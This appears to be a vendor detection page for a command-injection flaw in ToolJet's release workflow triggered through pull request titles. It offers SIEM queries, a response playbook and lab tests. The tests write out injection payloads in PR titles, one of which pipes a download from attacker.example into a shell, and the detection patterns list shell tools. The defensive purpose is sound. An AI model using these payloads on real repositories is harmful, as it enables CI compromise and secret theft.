Skip to content
CVE-2026-137964

ToolJet Release Workflow Command Injection via PR Title (CVE-2026-137964)

Initial Access Execution Exfiltration Last updated:

Detects exploitation of CVE-2026-137964, a command injection (CWE-94) in ToolJet's GitHub Actions release workflow prior to version 3.21.96-LTS. The vulnerable workflow interpolates the pull request title directly into a shell `run:` step (e.g. via `${{ github.event.pull_request.title }}`), allowing an attacker who can open or edit a pull request with a crafted title to inject arbitrary shell commands that execute in the CI runner context, potentially exfiltrating `GITHUB_TOKEN`, repository secrets, or signing credentials. This detection hunts for anomalous PR titles containing shell metacharacters/command-substitution syntax, and for runner-side behavioral indicators (unexpected network egress, secret access, or child process spawns) during release workflow execution.

Based on GHSA-74h3-686h-cmvf / VulnCheck advisory

Vulnerability Intelligence

Theoretical

What is CVE-2026-137964 ToolJet Release Workflow Command Injection via PR Title (CVE-2026-137964)?

ToolJet Release Workflow Command Injection via PR Title (CVE-2026-137964) (CVE-2026-137964) maps to the Initial Access and Execution and Exfiltration tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for ToolJet Release Workflow Command Injection via PR Title (CVE-2026-137964), covering the data sources and telemetry it touches: GitHub Audit Logs, GitHub Advanced Security. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Exfiltration
Microsoft Sentinel / Defender
kusto
// df00tech DF00-2f2bf7a682 · https://df00tech.com/detections/CVE-2026-137964 · licence: https://df00tech.com/detections/licence
let suspiciousTitlePatterns = dynamic(["$(", "`", "${IFS", "&&", "||", ";", "| ", "$(curl", "$(wget", "$(bash", "$(sh", "<(", ">(", "\n"]);
GitHubAuditLogs
| where TimeGenerated > ago(30d)
| where Action in ("pull_request.opened", "pull_request.edited", "pull_request.reopened")
| extend PrTitle = tostring(AdditionalFields.pull_request_title)
| where isnotempty(PrTitle)
| where PrTitle has_any (suspiciousTitlePatterns)
| project TimeGenerated, Actor = tostring(Actor), Repository = tostring(Repo), PrTitle, Action, SourceIp = tostring(ActorIp)
| order by TimeGenerated desc

Flags GitHub pull request open/edit events whose title contains shell command-substitution or chaining metacharacters, consistent with an attempt to inject commands into a release workflow that interpolates the PR title.

high severity medium confidence

Data Sources

GitHub Audit Logs GitHub Advanced Security

Required Tables

GitHubAuditLogs

False Positives

  • Legitimate PR titles that reference shell syntax, environment variables, or code snippets (e.g. 'Fix $(date) handling in script').
  • Documentation or test PRs that intentionally include backticks for markdown code formatting.
  • Dependabot or bot-generated PR titles containing version strings with special characters.

Query fingerprint DF00-2f2bf7a682 · licence

Sigma logsource & community rules

The detection logic for ToolJet Release Workflow Command Injection via PR Title (CVE-2026-137964) (CVE-2026-137964) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulate command injection via PR title in a lab release workflow

    Expected signal: GitHub audit log records a pull_request.opened event with a title containing '$(' command-substitution syntax.

  2. Test 2 Reproduce vulnerable workflow interpolation locally with act

    Expected signal: Runner process telemetry shows an unexpected child process (touch) spawned from the workflow shell step, and the file /tmp/argus_injected_137964 is created.

  3. Test 3 Edit existing PR title to inject payload

    Expected signal: GitHub audit log records a pull_request.edited event with a title containing backtick command-substitution and a piped shell download.


Response Playbook

Triage

  1. Retrieve the flagged pull request and inspect its full title for command-substitution syntax (`$(...)`, backticks, `${IFS}`, `&&`, `;`, process substitution). Confirm whether the title would reach a shell `run:` step in the release workflow.
  2. Review the ToolJet (or affected fork's) `.github/workflows/` release workflow files to confirm whether `github.event.pull_request.title` is interpolated directly into a `run:` block, the vulnerable pattern for CVE-2026-137964.
  3. Check GitHub Actions run history for the release workflow triggered by the flagged PR; examine the job logs for the step that echoes/uses the PR title and look for evidence of injected command execution.
  4. Identify the PR author and assess their trust level (external contributor vs. maintainer) and whether the workflow runs with `pull_request_target` or exposes secrets to fork-originated events.

Containment

  1. Immediately cancel any in-progress release workflow runs triggered by the suspicious PR and disable the vulnerable workflow until it is patched.
  2. Rotate any secrets, deploy keys, signing credentials, and `GITHUB_TOKEN`-adjacent PATs that were accessible to the compromised workflow run.
  3. Close or lock the malicious pull request and restrict workflow execution for external contributors (require maintainer approval for workflows on PRs).

Evidence Collection

  1. Export the full GitHub Actions workflow run logs for the triggered release job, including the raw PR title and any step output showing command execution.
  2. Capture the PR metadata (author, title edit history via the audit log, source branch/fork, timestamps) and the exact workflow YAML version at time of execution.

Escalation Criteria

  • ! Escalate to incident response if workflow logs show evidence that injected commands executed and accessed secrets, `GITHUB_TOKEN`, or performed outbound network connections.
  • ! Escalate to the security team and consider supply-chain compromise handling if any rotated credential had write access to package registries, release artifacts, or production deployment targets.

Investigation Guide

Forensic Artifacts

  • > GitHub Actions workflow run logs and job step output for the triggered release workflow.
  • > GitHub audit log entries for pull_request.opened/edited events including title edit history.
  • > Runner-side process, network, and filesystem telemetry during the workflow run window.

Tuning Guidance

Baseline normal PR title conventions for the repository and allowlist bot authors (e.g. dependabot[bot], renovate[bot]) whose titles often contain version strings with special characters. Reduce false positives by narrowing the metacharacter set to high-signal command-substitution tokens (`$(`, backticks, `${IFS`) and by correlating with actual release-workflow triggers rather than alerting on title content alone. For repositories that have upgraded to ToolJet 3.21.96-LTS or patched the workflow to pass the title via an environment variable, lower severity to informational since interpolation no longer occurs.


Hunting Queries

Hunts across GitHub audit and workflow events for pull request titles carrying shell metacharacters that could reach a vulnerable release workflow.

Hunting — KQL
kql
// df00tech DF00-2f2bf7a682 · https://df00tech.com/detections/CVE-2026-137964 · licence: https://df00tech.com/detections/licence
GitHubAuditLogs | where Action startswith "workflows" or Action startswith "pull_request" | extend PrTitle = tostring(AdditionalFields.pull_request_title) | where PrTitle has_any ("$(", "`", "${IFS", "&&", ";") | project TimeGenerated, Actor, Repo, PrTitle, Action
Hunting — SPL
spl
``` df00tech DF00-2f2bf7a682 · https://df00tech.com/detections/CVE-2026-137964 · licence: https://df00tech.com/detections/licence ```
index=github (action=pull_request.* OR action=workflows.*) | eval pr_title=coalesce('pull_request.title', pr_title) | where match(pr_title, "(\$\(|`|\$\{IFS|&&|;)") | table _time actor repo pr_title action

Atomic Red Team Tests

Test 1 Simulate command injection via PR title in a lab release workflow
linux

Creates a pull request whose title contains a command-substitution payload against a disposable test repository running a workflow that mirrors the vulnerable ToolJet release workflow pattern.

Command

bash
gh pr create --repo "$TEST_ORG/tooljet-cve-lab" --title 'Release $(id > /tmp/argus_poc_137964.txt)' --body 'CVE-2026-137964 lab test' --head test-branch --base main

Cleanup

bash
gh pr close --repo "$TEST_ORG/tooljet-cve-lab" --delete-branch test-branch; rm -f /tmp/argus_poc_137964.txt

Expected Telemetry

GitHub audit log records a pull_request.opened event with a title containing '$(' command-substitution syntax.

Expected Detection

The detection fires on the pull_request.opened event whose title matches shell metacharacter patterns.

Test 2 Reproduce vulnerable workflow interpolation locally with act
linux

Runs a minimal GitHub Actions workflow that interpolates ${{ github.event.pull_request.title }} into a run step using nektos/act with a crafted event payload to confirm command execution in the runner.

Command

bash
echo '{"pull_request":{"title":"Release $(touch /tmp/argus_injected_137964)"}}' > /tmp/event.json && act pull_request -e /tmp/event.json -W .github/workflows/release.yml

Cleanup

bash
rm -f /tmp/argus_injected_137964 /tmp/event.json

Expected Telemetry

Runner process telemetry shows an unexpected child process (touch) spawned from the workflow shell step, and the file /tmp/argus_injected_137964 is created.

Expected Detection

Behavioral monitoring detects an anomalous child process spawned during the release workflow run, and the PR title content detection flags the payload.

Test 3 Edit existing PR title to inject payload
linux

Edits the title of an existing pull request to insert a shell injection payload, simulating an attacker who gains edit access to an open PR that will re-trigger the vulnerable workflow.

Command

bash
gh pr edit 1 --repo "$TEST_ORG/tooljet-cve-lab" --title 'docs: update `curl http://attacker.example/x | sh`'

Cleanup

bash
gh pr edit 1 --repo "$TEST_ORG/tooljet-cve-lab" --title 'docs: update readme'

Expected Telemetry

GitHub audit log records a pull_request.edited event with a title containing backtick command-substitution and a piped shell download.

Expected Detection

The detection fires on the pull_request.edited event matching backtick and pipe-to-shell metacharacter patterns.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections